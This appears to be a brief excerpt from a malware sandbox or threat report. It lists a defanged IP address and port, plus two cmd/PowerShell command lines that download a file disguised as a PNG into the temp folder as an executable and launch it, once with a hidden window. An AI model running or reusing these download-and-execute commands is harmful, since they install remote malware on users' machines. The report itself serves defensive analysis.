Technical Information
- http://10#.#44.79.123/i5/25067710.png as %temp%\y6gl.exe
- '10#.#44.79.123':80
- '<SYSTEM32>\cmd.exe' /c powershell (new-object System.Net.WebClienT).DownloadFile('http://10#.#44.79.123/i5/25067710.png','%temp%\y6gl.exe'); Start '%temp%\y6gl.exe'' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell (new-object System.Net.WebClienT).DownloadFile('http://10#.#44.79.123/i5/25067710.png','%temp%\y6gl.exe'); Start '%temp%\y6gl.exe'